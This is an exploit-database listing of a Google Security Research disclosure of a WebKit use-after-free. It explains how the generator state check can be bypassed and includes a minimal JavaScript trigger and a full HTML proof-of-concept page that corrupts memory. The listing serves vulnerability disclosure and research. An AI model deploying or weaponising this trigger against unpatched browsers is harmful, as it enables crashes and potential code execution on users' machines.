WebKit - Use-After-Free when Resuming Generator Exploit

2018-06-09T00:00:00
ID 1337DAY-ID-30559
Type zdt
Reporter Google Security Research
Modified 2018-06-09T00:00:00

Description

Exploit for multiple platform in category dos / poc

                                        
                                            <!--
In WebKit, resuming a generator is implemented in JavaScript. An internal object property, @generatorState is used to prevent recursion within generators. In GeneratorPrototype.js, the state is checked by calling:
 
    var state = [email protected];
 
and set by calling:
 
    [email protected] = @GeneratorStateExecuting;
 
 
Checking that the @generator property is set is also used in place of type checking the generator.
 
Therefore, if Generator.next is called on an object with a prototype that is a Generator, it will pass the type check, and the internal properties of the Generator prototype will be used to resume the generator. However, when @generatorState, it will be set as an own property on the object, not the prototype. This allows the creation of non-Generator objects with the @generatorState set to completed.
 
It is then possible to bypass the recursion check by setting the prototype of one of these objects to a Generator, as the check will then get the object's @generatorState own property, meanwhile the other internal properties will come from the prototype.
 
Generators are not intended to allow recursion, so a reference to the scope is not maintained, leading to a use-after free.
 
A minimal sample of the script causing this problem is below, and a full PoC is attached.
 
var iterator;
 
var a = [];
 
function* foo(index) {
 
  while (1) {
    var q = a.pop();
    if(q){
        q.__proto__ = iterator;
      q.next();
    }
    yield index++;
  }
}
 
function* foo2(){
    yield;
}
 
var temp = foo2(0);
 
for(var i = 0; i < 10; i++){ // make a few objects with @generatorState set
    var q = {};
    q.__proto__ = temp;
    q.next();
    q.__proto__ = {};
    a.push(q);
 
}
 
iterator = foo(0);
 
var q = {};
q.__proto__ = iterator;
print(q.next().value);
-->
 
<html><body><script>
print = console.log;
print("top");
var iterator;
var o = function(){print("hello")};
var a = [];
function* foo(index) {
  //print("start");
 
  while (1) {
    //if(index == 77){
      //  o = 0;
       // gc();        
//  index = 2;
  //      var a = [1, 2, 3, 4];
    //yield 9;
        //print("a vale " + a[0]);
    //}
    //if(index == 1){
    //index = 77;
   // print("INTERNAL CALL")
   // iterator.next();
    //index++;
 
    //}
    //var b = [1, 2, 3, 4];
    var q = a.pop();
    if(q){
    print("here1");
    q.__proto__ = iterator;
    q.next();
    }
    yield index++;
    //print("bval" + b[0]);
  }
}
 
function* foo2(){
 
    yield;
 
}
 
var temp = foo2(0);
 
for(var i = 0; i < 10; i++){
 
    var q = {};
    q.__proto__ = temp;
    q.next();
    q.__proto__ = {};
    a.push(q);
 
}
//print(a);
iterator = foo(0);
 
 
// expected output: 0
 
 
 
 
o.__proto__ = iterator;
//print("FIRST CALL")
//print(o.next().value);
//print("SECOND CALL")
//print(o.next().value);
//print("THIRD CALL")
 
for(var i = 0; i < 10; i++){
var q = {};
q.__proto__ = iterator;
print(q.next("hello").value);
}
 
//print("FOURTH CALL")
//print(iterator.next().value);
o();
</script></body></html>

#  0day.today [2018-06-10]  #